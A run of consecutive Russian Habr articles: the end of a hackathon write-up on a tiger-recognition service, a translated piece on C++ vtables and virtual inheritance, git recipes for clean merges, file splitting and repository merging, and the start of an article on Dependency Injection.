4. Модель классификации.
С тем как эти модули связаны между собой можно ознакомиться ниже:
Диаграмма последовательностей обработки одного кадраДиаграмма последовательностей обработки видео### Детектор
Для детекции животных использовали архитектуру [DetectoRS](https://arxiv.org/abs/2006.02334) с использованием фреймворка [mmdetection](https://github.com/open-mmlab/mmdetection). По нашему опыту, она довольно хорошо дообучается и хватает 3-4 эпохи для получения высоких метрик. Обучение модели заняло около 2 часов. Изначально мы обучали детектор на нескольких классах, но потом было принято решение оставить один, потому что в дальнейшем мы выделили отдельный этап классификации.
Код обучения детектора можно посмотреть по ссылке: <https://www.kaggle.com/vfomenko/tiger-detectors-mmdetection-training>
Архитектура DetectoRS### Классификатор
Для определения хищников в кадре сделали классификатор на основе архитектуры [Vision Transformer](https://arxiv.org/abs/2010.11929), который также хорошо дообучается. Мы решили использовать ViT вместо более распространенных подходов на сверточных нейронных сетях, потому что даже с базовыми версиями трансформеров участникам нашей команды уже удавалось занять первые места в соревнованиях по компьютерному зрению.
Визуализация работы Vision TransformerНо чтобы выделить Принцессу и в дальнейшем была возможность распознавать и других особей, мы отказались от классической реализации с использованием полносвязного слоя и категориальной перекрестной энтропии. Для этого использовали подход на основе metric learning, который хорошо себя зарекомендовал в задаче распознавания лиц. Обучали модель для извлечения вектора признаков с функцией потерь ArcFace и в дальнейшем сравнивали извлеченные из кадра признаки с теми, которые есть в базе данных по косинусной метрике. Вектор признаков брался из первого токена, который обычно используется для классификации, вместо различных вариаций глобальных пулингов.
Чтобы создать базу, мы взяли из тренировочного датасета все фотографии каждого класса, извлекли из них признаки и сделали средний вектор. На выходе получили три разных средних вектора, для “принцессы”, тигров и леопардов. Остальных животных мы отсекали по отсечке.
С кодом обучения классификатора можно ознакомиться здесь <https://www.kaggle.com/emorkrin/animal-classification> .
Распределения векторов в пространстве признаков у ArcFace и Softmax### Метрики
По детекции мы получили 0.98 mAP и 0.99 recall
Для классификации считали три метрики: precision, recall и accuracy. Получили следующие результаты:
| | | | |
| --- | --- | --- | --- |
| Класс | precision | recall | accuracy |
| Тигры | 0.87 | 0.93 | 0.89 |
| Леопарды | 0.81 | 0.89 | 0.89 |
| Другие животные | 0.93 | 0.83 | 0.89 |
| Принцесса | 0.97 | 0.96 | 0.96 |
В итоге мы находим 99% животных и принцессу в 97% случаев с точностью 96%
### Backend
Мы реализовали бэкэнд приложение с помощью фреймворка Flask, позволяющего создавать Rest API сервисы. Создали endpoint, который на вход принимает один кадр. В response получали json с меткой класса и координатами животного.
```
"message": "image received. size=2048 x 1536",
"image": [
{
"bbox": {
"bbox_id": 0,
"bbox": {
"x1": 124,
"y1": 332,
"x2": 467,
"y2": 670
},
"confidence": 0.94,
"class_name": "princess"
}
}
]
```
### Frontend
Для демонстрации работы сервиса было принято решение использовать телеграм бота. Это удобный формат демонстрации работы сервиса как для разработчика с точки зрения скорости разработки, так и для конечного пользователя, потому что никакого дополнительного ПО, кроме телеграма, устанавливать не нужно. Бот будет получать данные от юзера, взаимодействовать с нашим сервисом и выдавать краткую сводку о распознавании. В бота пользователь мог загрузить фотографию или видео. Если это видео, то оно нарезается на несколько кадров с задержкой в 3 секунды и обрабатывается как обычное изображение. Такой таймлаг был выбран для того, чтобы не засорять ленту пользователю. Для пользователя это выглядело так:
Результат работы телеграм-бота на одном кадреСервиса распознавания нашел тиграРезультат работы на одном кадре с найденной ПринцессойСервис распознавания нашел ПринцессуИтог
----
Наше решение полностью соответствует заявленным критериям:
1. Окружения всех наших сервисов зафиксированы через docker.
2. Наше решение с детекцией и последующим сопоставлением животного с известными нам позволяет идентифицировать всех особей в кадре.
3. Добились метрик работы моделей выше 97%.
4. Наше решение масштабируется на любое количество особей за счет подхода metric learning.
5. В решении были использованы только open source технологии.
Таким образом, мы разработали сервис с высокой точностью распознавания животных, и заняли первое место на хакатоне.
С кодом решения можно ознакомиться по [ссылке](https://github.com/spannenberger/samara_hack).
Теперь все принцессы будут под присмотром :) | https://habr.com/ru/post/663730/ | null | ru | null |
# C++ vtables. Часть 2 (Virtual Inheritance + Compiler-Generated Code)
*Перевод статьи подготовлен специально для студентов курса [«Разработчик С++»](https://otus.pw/HhBg/). Интересно развиваться в данном направлении? Смотрите запись мастер-класса [«Практика использования Google Test Framework»](https://otus.pw/B2p1/)!*
Часть 3 — Виртуальное наследование
----------------------------------
В [первой и второй части](https://habr.com/ru/company/otus/blog/479802/) этой статьи мы говорили о том, как vtables работают в простейших случаях, а затем в множественном наследовании. Виртуальное наследование усложняет ситуацию еще больше.
Как вы, возможно, помните, виртуальное наследование означает, что в конкретном классе есть только один экземпляр базового класса. Например:
```
class ios ...
class istream : virtual public ios ...
class ostream : virtual public ios ...
class iostream : public istream, public ostream
```
Если бы не ключевое слово `virtual`, указанное выше, `iostream` фактически имел бы два экземпляра `ios`, которые могли бы вызывать головные боли при синхронизации и просто были бы неэффективными.
Чтобы понять виртуальное наследование, мы рассмотрим следующий фрагмент кода:
```
#include
using namespace std;
class Grandparent {
public:
virtual void grandparent\_foo() {}
int grandparent\_data;
};
class Parent1 : virtual public Grandparent {
public:
virtual void parent1\_foo() {}
int parent1\_data;
};
class Parent2 : virtual public Grandparent {
public:
virtual void parent2\_foo() {}
int parent2\_data;
};
class Child : public Parent1, public Parent2 {
public:
virtual void child\_foo() {}
int child\_data;
};
int main() {
Child child;
}
```
Давайте исследуем `child`. Я начну с дампинга большого количества памяти именно там, где начинается `vtable Child`, как мы это делали в предыдущих частях, а затем проанализирую результаты. Я предлагаю быстро взглянуть на результат здесь и вернуться к нему, когда я раскрою детали ниже.
```
(gdb) p child
$1 = { = { = {\_vptr$Grandparent = 0x400998 , grandparent\_data = 0}, \_vptr$Parent1 = 0x400950 , parent1\_data = 0}, = {\_vptr$Parent2 = 0x400978 , parent2\_data = 4195888}, child\_data = 0}
(gdb) x/600xb 0x400938
0x400938 : 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400940 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400948 : 0x00 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400950 : 0x70 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400958 : 0xa0 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400960 : 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400968 : 0xf0 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0x400970 : 0x00 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400978 : 0x90 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400980 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400988 : 0xe0 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0x400990 : 0x00 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400998 : 0x80 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x4009a0 : 0x50 0x09 0x40 0x00 0x00 0x00 0x00 0x00
0x4009a8 : 0xf8 0x09 0x40 0x00 0x00 0x00 0x00 0x00
0x4009b0 : 0x18 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x4009b8 : 0x98 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x4009c0 : 0xb8 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x4009c8 : 0x98 0x09 0x40 0x00 0x00 0x00 0x00 0x00
0x4009d0 : 0x78 0x09 0x40 0x00 0x00 0x00 0x00 0x00
0x4009d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x4009e0 : 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x4009e8 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x4009f0 : 0x50 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x4009f8 : 0x70 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400a00 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400a08 : 0xe0 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0x400a10 : 0x50 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400a18 : 0x80 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400a20 : 0x37 0x50 0x61 0x72 0x65 0x6e 0x74 0x31
0x400a28 : 0x00 0x31 0x31 0x47 0x72 0x61 0x6e 0x64
0x400a30 : 0x70 0x61 0x72 0x65 0x6e 0x74 0x00 0x00
0x400a38 : 0x50 0x10 0x60 0x00 0x00 0x00 0x00 0x00
0x400a40 : 0x29 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400a48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400a50 : 0xa0 0x10 0x60 0x00 0x00 0x00 0x00 0x00
0x400a58 : 0x20 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400a60 : 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x400a68 : 0x38 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400a70 : 0x03 0xe8 0xff 0xff 0xff 0xff 0xff 0xff
0x400a78: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400a80 : 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400a88 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400a90 : 0xd0 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400a98 : 0x90 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400aa0 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400aa8 : 0xf0 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0x400ab0 : 0xd0 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400ab8 : 0x80 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400ac0 : 0x37 0x50 0x61 0x72 0x65 0x6e 0x74 0x32
0x400ac8 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400ad0 : 0xa0 0x10 0x60 0x00 0x00 0x00 0x00 0x00
0x400ad8 : 0xc0 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400ae0 : 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x400ae8 : 0x38 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400af0 : 0x03 0xe8 0xff 0xff 0xff 0xff 0xff 0xff
0x400af8 : 0x35 0x43 0x68 0x69 0x6c 0x64 0x00 0x00
0x400b00 : 0xa0 0x10 0x60 0x00 0x00 0x00 0x00 0x00
0x400b08 : 0xf8 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400b10 : 0x02 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0x400b18 : 0x50 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400b20 : 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400b28 : 0xd0 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400b30 : 0x02 0x10 0x00 0x00 0x00 0x00 0x00 0x00
0x400b38 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400b40 : 0x38 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400b48 : 0x80 0x08 0x40 0x00 0x00 0x00 0x00 0x00
```
Вау, здесь много информации. Сразу же всплывают два новых вопроса: что такое `VTT` и что такое construction `vtable for X-in-Child`? Мы ответим на них достаточно скоро.
Давайте начнем со структуры памяти `Child`:
| Размер | Значение |
| --- | --- |
| 8 байт | \_vptr$Parent1 |
| 4 байта | parent1\_data (+ 4 байта заполнения) |
| 8 байт | \_vptr$Parent2 |
| 4 байта | parent2\_data |
| 4 байта | child\_data |
| 8 байт | \_vptr$Grandparent |
| 4 байта | grandparent\_data (+ 4 байта заполнения) |
Действительно, у `Child` есть только 1 экземпляр Grandparent. Нетривиальная вещь заключается в том, что он последний в памяти, хотя он и является высшим в иерархии.
Вот структура `vtable`:
| Адрес | Значение | Содержание |
| --- | --- | --- |
| 0x400938 | 0x20 (32) | virtual-base offset (мы скоро это обсудим) |
| 0x400940 | 0 | top\_offset |
| 0x400948 | 0x400b00 | typeinfo for Child |
| 0x400950 | 0x400870 | Parent1::parent1\_foo(). Указатель vtable Parent1 указывает сюда. |
| 0x400958 | 0x4008a0 | Child::child\_foo() |
| 0x400960 | 0x10 (16) | virtual-base offset |
| 0x400968 | -16 | top\_offset |
| 0x4009 | 0x400b | typeinfo for Child |
| 70 | 00 | |
| 0x400978 | 0x400890 | Parent2::parent2\_foo(). Указатель vtable Parent2 указывает сюда. |
| 0x400980 | 0 | virtual-base offset |
| 0x400988 | -32 | top\_offset |
| 0x400990 | 0x400b00 | typeinfo for Child |
| 0x400998 | 0x400880 | Grandparent::grandparent\_foo(). Указатель vtable Grandparent указывает сюда. |
Выше появилась новая концепция — `virtual-base offset`. Скоро мы поймем, что он там делает.
Далее давайте исследуем эти странно выглядящие `construction vtables`. Вот construction `vtable for Parent1-in-Child`:
| Значение | Содержание |
| --- | --- |
| 0x20 (32) | virtual-base offset |
| 0 | top-offset |
| 0x400a50 | typeinfo for Parent1 |
| 0x400870 | Parent1::parent1\_foo() |
| 0 | virtual-base offset |
| -32 | top-offset |
| 0x400a50 | typeinfo for Parent1 |
| 0x400880 | Grandparent::grandparent\_foo() |
На данный момент я думаю, что было бы более понятным описать процесс, нежели наваливать на вас больше таблиц со случайными числами. Итак:
Представьте, что вы `Child`. Вас просят сконструировать себя в новом участке памяти. Поскольку вы наследуете `Grandparent` напрямую (именно это означает виртуальное наследование), сначала вы будете напрямую вызывать его конструктор (если бы это не было виртуальное наследование, вы вызывали бы конструктор `Parent1`, который, в свою очередь, вызвал бы конструктор `Grandparent`). Вы устанавливаете `this += 32` байта, так как именно здесь находятся данные `Grandparent`, и вызываете конструктор. Очень просто.
Затем наступает время сконструировать `Parent1`. `Parent1` может с уверенностью предполагать, что к тому времени, когда он конструирует себя, `Grandparent` уже был создан, поэтому он может, например, получить доступ к данным и методам `Grandparent`. Но подождите, как он может знать, где найти эти данные? Они ведь не в одном месте с переменными `Parent1`!
На сцену выходит `construction table for Parent1-in-Child`. Эта таблица предназначена для указания `Parent1`, где найти фрагменты данных, к которым он может получить доступ. `this` указывает на данные `Parent1`. `virtual-base offset` указывает, где можно найти данные Grandparent: Перешагните на 32 байта вперед от this, и вы найдете память `Grandparent`. Поняли? virtual-base offset аналогичен top\_offset, но для виртуальных классов.
Теперь, когда мы это понимаем, конструирование `Parent2` в основном такое же, только с использованием `construction table for Parent2-in-Child`. И действительно, `Parent2-in-Child` имеет `virtual-base offset` в 16 байтов.
Дайте информации немного впитаться. Вы готовы продолжить? Хорошо.
Теперь давайте вернемся к `VTT`. Вот структура `VTT`:
| Адрес | Значение | Символ | Содержание |
| --- | --- | --- | --- |
| 0x4009a0 | 0x400950 | vtable for Child + 24 | Записи Parent1 в vtable Child |
| 0x4009a8 | 0x4009f8 | construction vtable for Parent1-in-Child + 24 | Методы Parent1 в Parent1-in-Child |
| 0x4009b0 | 0x400a18 | construction vtable for Parent1-in-Child + 56 | Методы Grandparent для Parent1-in-Child |
| 0x4009b8 | 0x400a98 | construction vtable for Parent2-in-Child + 24 | Методы Parent2 в Parent2-in-Child |
| 0x4009c0 | 0x400ab8 | construction vtable for Parent2-in-Child + 56 | `Методы Grandparent для Parent2-in-Child |
| 0x4009c8 | 0x400998 | vtable for Child + 96 | `Записи Grandparent в vtable Child |
| 0x4009d0 | 0x400978 | vtable for Child + 64 | `Записи Parent2 в vtable Child |
`VTT` расшифровывается как `virtual-table table` (таблицу виртуальных таблиц), что означает, что это таблица vtable-ов. Это таблица трансляции, которая знает, например, вызывается ли конструктор `Parent1` для отдельного объекта, для объекта `Parent1-in-Child` или для `Parent1-in-SomeOtherObject`. Она всегда появляется сразу после `vtable`, чтобы компилятор знал, где ее найти. Поэтому нет необходимости хранить другой указатель в самих объектах.
Фух… много деталей, но я думаю, что мы охватили все, что я хотел охватить. В четвертой части мы поговорим о деталях `vtables` более высокого уровня. Не пропускайте, так как это, вероятно, самая важная часть в этой статье!
Часть 4 — Код, сгенерированный компилятором
-------------------------------------------
К этому моменту из этой статьи мы узнали, как записи `vtables` и `typeinfo` помещаются в наши двоичные файлы и как их использует компилятор. Теперь мы поймем часть работы, которую компилятор выполняет для нас автоматически.
#### Конструкторы
Для конструктора любого класса генерируется следующий код:
* Вызов конструктов родителей, если они есть;
* Установка указателей vtable, если они есть;
* Инициализация членов в соответствии со списком инициализаторов;
* Выполнение кода внутри скобок конструктора.
Все вышеперечисленное может происходить без явного кода:
* Родительские конструкторы по умолчанию запускаются автоматически, если не указано иное;
* Члены инициализируются по умолчанию, если у них нет значения по умолчанию или записи в списке инициализатора;
* Весь конструктор может быть помечен = default;
* Только назначение vtable всегда скрыто.
Вот пример:
```
#include
#include
using namespace std;
class Parent {
public:
Parent() { Foo(); }
virtual ~Parent() = default;
virtual void Foo() { cout << "Parent" << endl; }
int i = 0;
};
class Child : public Parent {
public:
Child() : j(1) { Foo(); }
void Foo() override { cout << "Child" << endl; }
int j;
};
class Grandchild : public Child {
public:
Grandchild() { Foo(); s = "hello"; }
void Foo() override { cout << "Grandchild" << endl; }
string s;
};
int main() {
Grandchild g;
}
```
Давайте напишем псевдокод для конструктора каждого класса:
| Parent | Child | Grandchild |
| --- | --- | --- |
| 1. vtable = vtable Parent; | 1. Вызывает конструктор по умолчанию Parent; | 1. Вызывает конструктор по умолчанию Child; |
| 2. i = 0; | 2. vtable = vtable Child; | 2. vtable = vtable Grandchild; |
| 3. Вызывает Foo(); | 3. j = 1; | 3., Вызывает конструктор по умолчанию s; |
| | 4. Вызывает Foo(); | 4. Вызывает Foo(); |
| | | 5. Вызывает оператор = для s; |
Учитывая это, неудивительно, что в контексте конструктора класса vtable указывает на vtable этого самого класса, а не на его конкретный класс. Это означает, что виртуальные вызовы разрешаются так, как будто доступных наследников нет. Таким образом, вывод
```
Parent
Child
Grandchild
```
А как насчет чисто виртуальных функций? Если они не реализованы (да, вы можете реализовать чисто виртуальные функции, но зачем вам это надо?), Вы, вероятно, (и мы надеемся) проследуете прямиком к segfault. Некоторые компиляторы пренебрегают ошибку, что круто.
#### Деструкторы
Как вы можете себе представить, деструкторы ведут себя так же, как конструкторы, только в обратном порядке.
Вот быстрое упражнение для размышления: почему деструкторы изменяют указатель vtable, чтобы он указывал на собственный класс, а не оставлял указатель на конкретный класс? Ответ: поскольку к моменту запуска деструктора любой наследующий класс уже был уничтожен. Вызов методов такого класса — это не то, что вы хотите делать.
#### Неявное приведение
Как мы видели во [второй и третей части](https://habr.com/ru/company/otus/blog/479802/), указатель на дочерний объект не обязательно равен родительскому указателю того же экземпляра (как в случае множественного наследования).
Тем не менее, для вас (разработчика) нет дополнительной работы по вызову функции, которая получает указатель родителя. Это потому, что компилятор неявно сдвигает `this`, когда вы апкастите указатели и ссылки на родительские классы.
#### Динамическое приведение (RTTI)
При динамическом приведении используются таблицы `typeinfo`, которые мы исследовали в первой части. Они делают это во время выполнения, просматривая запись `typeinfo` за один указатель до того, на что указывает указатель `vtable`, и используют класс оттуда, чтобы проверить, возможно ли приведение.
Это объясняет [стоимость dynamic\_cast](https://tinodidriksen.com/2010/04/14/cpp-dynamic-cast-performance/) при частом использовании.
#### Указатели на методы
Я планирую написать полный пост об указателях на методы в будущем. До этого я хотел бы подчеркнуть, что указатель на метод, указывающий на виртуальную функцию, будет фактически вызывать переопределенный метод (в отличие от указателей на функции, не являющиеся членами).
```
// TODO: добавить ссылку, когда пост будет готов
```
#### Проверьте себя!
Теперь вы сможете объяснить себе, почему следующий фрагмент кода ведет себя так, как он себя ведет:
```
#include
using namespace std;
class FooInterface {
public:
virtual ~FooInterface() = default;
virtual void Foo() = 0;
};
class BarInterface {
public:
virtual ~BarInterface() = default;
virtual void Bar() = 0;
};
class Concrete : public FooInterface, public BarInterface {
public:
void Foo() override { cout << "Foo()" << endl; }
void Bar() override { cout << "Bar()" << endl; }
};
int main() {
Concrete c;
c.Foo();
c.Bar();
FooInterface\* foo = &c
foo->Foo();
BarInterface\* bar = (BarInterface\*)(foo);
bar->Bar(); // Выводит "Foo()" - WTF?
}
```
На этом я заканчиваю свою статью из четырех частей. Я надеюсь, что вы узнали что-то новое, так же как и я. | https://habr.com/ru/post/480610/ | null | ru | null |
# Пара иногда востребованных хитростей при работе с git
Хочу поделиться рецептами решения пары задач, которые иногда возникают при работе с git, и которые при этом не "прямо совсем очевидны".
Сперва я думал накопить подобных рецептов побольше, однако всему своё время. Думаю, если есть польза, то можно и понемногу...
Итак...
Мержим застарелые ветки с минимальной болью
===========================================
Преамбула. Есть основная ветка (`master`), в которую активно коммитаются новые фичи и фиксы; есть параллельная ветка `feature`, у которой разработчики уплыли на какое-то время в собственную нирвану, и потом внезапно обнаружили, что уже месяц не мержились с мастером, и мерж "в лоб" (голова с головой) стал уже нетривиален.
(Да, речь не об идеальном мире, где всё правильно, преступность отсутствует, дети всегда послушны и даже через дорогу переходят строго за руку с мамой, внимательно посмотрев по сторонам).
Цель: смержиться. При этом, чтобы это был "чистый" мерж, без особенностей. Т.е. чтобы в публичном репозитории в графе веток две нитки соединялись в единственной точке с сообщением "merged branch 'master' into feature". А всю "вот эту вот" головную боль о том, сколько времени и сил это заняло, сколько было конфликтов было решено и сколько волос при этом поседело хранить незачем.
Фабула. То, что в гите можно редактировать последний коммит ключиком `--amend` знают все. Фишка в том, что этот "последний коммит" при этом может находиться где угодно и содержать что угодно. Например, это может быть не просто "последний коммит в линейную ветку", где забыли поправить опечатку, но и мерж-коммит от обычного или "осьминожного" слияния. `--amend` ровно так же накатит предложенные изменения и "встроит" изменённый коммит в дерево, как будто он в самом деле появился в результате честного слияния и разрешения конфликтов. По сути `git merge` и `git commit --amend` позволяет полностью разделить"застолбление места" ("этот коммит в дереве будет находиться ЗДЕСЬ") и содержание самого коммита.
Основная идея сложного мерж-коммита с чистой историей проста: сперва "столбим место", создавая чистый мерж-коммит (невзирая на содержимое), затем переписываем его с помощью `--amend`, делая содержимое "правильным".
1. "Столбим место". Это легко сделать, назначив при мерже стратегию, которая не будет задавать лишних вопросов о разрешении конфликтов.
```
git checkout feature
git merge master -s ours
```
2. Ах, да. Надо было перед мержем создать "резервную" ветку из головы feature. Ведь ничего же на самом деле не слито… Но пусть это будет 2-м пунктом, а не 0-м. В общем, переходим на не-слитую feature, и теперь честно сливаем. Любым доступным способом, невзирая ни на какие "грязные хаки". Мой личный способ — просматриваем мастер-ветку от момента последнего слияния и оцениваем возможные проблемные коммиты (например: поправили в одном месте опечатку — не проблемный. Массово (на много файлов) переименовали какую-либо сущность — проблемный. И т.д.). От проблемных коммитов создаём новые ветки (я делаю бесхитростно — master1, master2, master3 и т.д.). И потом сливаем ветку за веткой, двигаясь от старых к свежим и исправляя конфликты (которые при таком подходе обычно самоочевидны). Другие методы предлагайте (я не волшебник; я только учусь; буду рад конструктивным замечаниям!). В конечном итоге, потратив (может быть) несколько часов на чисто рутинные операции (которые можно доверить юниору, ибо сложных конфликтов при таком подходе просто нет), получаем финальное состояние кода: все нововведения/фиксы мастера успешно портированы в ветку feature, все релевантные тесты на этом коде прошлись и т.д. Успешный код должен быть закоммитан.
3. Переписываем "историю успеха". Находясь на коммите, где "всё сделано", запускаем следующее:
```
git tag mp
git checkout mp
git reset feature
git checkout feature
git tag -d mp
```
(расшифровываю: с помощью тэга (mp — merge point) переходим в detached HEAD состояние, оттуда reset на голову нашей ветки, где в самом начале "застолблено место" обманным мерж-коммитом. Тэг больше не нужен, поэтому его удаляем). Теперь мы стоим на первоначальном "чистом" мерж-коммите; при этом в рабочей копии у нас "правильные" файлы, где всё нужное смержено. Теперь нужно добавить все изменённые файлы в индекс, и особенно тщательно просмотреть на non-staged (там будут все новые файлы, возникшие в основной ветке). Все нужные оттуда добавляем тоже.
Наконец, когда всё готово — вписываем в зарезервированное место свой правильный коммит:
```
git commit --amend
```
Ура! Всё получилось! Можно небрежно пушить ветку в публичный репозиторий, и никто не узнает, что на этот мерж вы на самом деле потратили пол-дня рабочего времени.
Upd: Более лаконичный способ
Спустя три месяца после этой публикации вышла статья "[Как и зачем красть деревья в git](https://habr.com/ru/post/433748)" от [capslocky](https://habr.com/ru/users/capslocky/)
По её мотивам можно добиться ровной той же цели более кратким путём и без вспомогательных механизмов: не нужно "столбить место", рассматривать unstaged-файлы после reset и делать amend; можно в один шаг создать прямой мерж-коммит с нужным содержимым.
Начинаем сразу со слияния любыми доступными методами (как в п. 2 выше). Развесистая промежуточная история и хаки при этом по-прежнему не имеют значения. А далее вместо п.3 с подменой мерж-коммита делаем [искусственный merge](https://habr.com/ru/post/433748/#z5), как в статье:
```
git tag mp
git checkout feature
git merge --ff $(git commit-tree mp^{tree} -m "merged branch 'master' into 'feature'" -p feature -p master)
git tag -d mp
```
Всю магию здесь делает в один шаг третья команда (git commit-tree).
Выделяем часть файла, сохраняя историю
======================================
Преамбула: в файл кодили-кодили, и наконец накодили так, что даже вижуал-студия стала подтормаживать, его переваривая (не говоря уже о JetBrains). (Да, мы снова в "неидеальном" мире. Как всегда).
Умные мозги подумали-подумали, и выделили несколько сущностей, которые можно отпочковать в отдельный файл. Но! Если просто взять, скопипастить кусок файла и вставить в другой — это будет с точки зрения git совершенно новый файл. В случае любых проблем поиск по истории однозначно укажет лишь "где этот инвалид?", который разделил файл. А найти оригинальный источник бывает нужно вовсе не "для репрессий", а сугубо конструктивно — чтобы узнать, ЗАЧЕМ была изменена вот эта строчка; какую багу это фиксило (или не фиксило никакую). Хочется, чтобы файл был новый, но при этом вся история изменений всё же осталась!
Фабула. С некоторыми слегка досадными краевыми эффектами это можно сделать. Для определённости — есть файл `file.txt`, из которого хочется выделить часть в `file2.txt`. (и при этом сохранить историю, да). Запускаем вот такой сниппет:
```
f=file.txt; f1=file1.txt; f2=file2.txt
cp $f $f2
git add $f2
git mv $f $f1
git commit -m"split $f step 1, converted to $f1 and $f2"
```
В результате получаем файлы `file1.txt` и `file2.txt`. У них у обоих совершенно одинаковая история (настоящая; как у исходного файла). Да, оригинальный `file.txt` пришлось при этом переименовать; в этом и состоит "слегка досадный" краевой эффект. К сожалению, найти способ сохранить историю, но чтобы при этом НЕ переименовывать исходный файл, я не смог (если кто смог — расскажите!). Однако гит всё стерпит; никто не мешает теперь отдельным коммитом переименовать файл обратно:
```
git mv $f1 $f
git commit -m"split finish, rename $f1 to $f"
```
Теперь у `file2.txt` гилт покажет ту же историю строчек, что и у оригинального файла. Главное — не сливайте эти два коммита вместе (а то вся магия исчезнет; пробовал!). Но при этом никто не мешает редактировать файлы прямо в процессе разделения; необязательно это делать позже отдельными коммитами. И да, можно выделять сразу много файлов!
Ключевой момент рецепта: переименовать исходный файл в другой в том же коммите, где из него делается (и, возможно, редактируется) копия (копии). И пусть этот коммит в будущем живёт (никогда не сквашится с обратным переименованием).
Upd: пара рецептов от [Lissov](https://habr.com/ru/users/lissov/)
Отделяем часть репозитория с историей
=====================================
Вы находитесь на последней версии начального репозитория. Задача — отделить одну папку. (Я видел варианты на несколько папок, но проще и понятнее либо сначала сложить всё в одну, либо повторить ниженаписанное несколько раз.)
Важно! Все перемещения делать командой `git mv`, иначе гит может потерять историю.
Выполняем:
```
git filter-branch --prune-empty --subdirectory-filter "{directory}" [branch]
```
{directory} — та папка, которую надо отделить. В итоге получаем папку вместе с полной историей коммитов только в неё, то есть в каждом коммите отображаются файлы только из этой папки. Естественно, часть коммитов получатся пустыми, их убирает --prune-empty.
Теперь меняем origin:
```
git remote set-url origin {another_repository_url}`
git checkout move_from_Repo_1
```
Если второй репозиторий чистый, можно сразу в master. Ну и push:
```
git push -u move_from_Repo_1
```
Весь сниппет целиком (для лёгкого копи-паста):
```
directory="directory_to_extract"; newurl="another_repository_url"
git filter-branch --prune-empty --subdirectory-filter "$directory"
git remote set-url origin "$newurl"
git checkout move_from_Repo_1
git push -u move_from_Repo_1
```
Сливаем вместе два репозитория
==============================
Допустим, вы проделали то что выше 2 раза и получили бранчи `move_from_Repo_1` и `move_from_Repo_2`, и в каждом перенесли файлы с помощью `git mv` туда, где они должны оказаться после слияния. Теперь осталось смержить:
```
br1="move_from_Repo_1"; br2="move_from_Repo_2"
git checkout master
git merge origin/$br1 --allow-unrelated-histories
git merge origin/$br2 --allow-unrelated-histories
git push
```
Весь фокус в "--allow-unrelated-histories". В итоге получаем один репозиторий с полной историей всех изменений. | https://habr.com/ru/post/424045/ | null | ru | null |
# Метафизика Dependency Injection
Dependency Injection — это часто используемая техника в объектно-ориентированном программировании, предназначенная для уменьшения связанности компонентов. При правильном применении, помимо достижения этой цели, она может привнести поистине магические качества вашим приложениям. Как и любая магия, эта техника воспринимается как набор заклинаний, а не строгий научный трактат. Это приводит к неверному толкованию явлений и, как следствие, неправильному использованию артефактов. В своём авторском материале я предлагаю читателю шаг за шагом, кратко и по сути, пройти логический путь от соответствующих основ объектно-ориентированного дизайна до той самой магии автоматического внедрения зависимостей.
Материал написан по мотивам разработки [IoC-контейнера Hypo](https://github.com/cylon-v/hypo), о котором я упоминал в [предыдущей статье](https://habr.com/ru/post/474504/). В миниатюрных примерах кода я буду использовать Ruby, как один из самых лаконичных объектно-ориентированных языков для написания коротких примеров. Это не должно вызвать проблем в понимании у разработчиков на других языках.
Уровень 1: Dependency Inversion Principle
-----------------------------------------
Разработчики в объектно-ориентированной парадигме ежедневно сталкиваются с созданием объектов, которые, в свою очередь, могут зависеть от других объектов. Это приводит к возникновению графа зависимостей. Предположим, что мы имеем дело с объектной моделью вида:
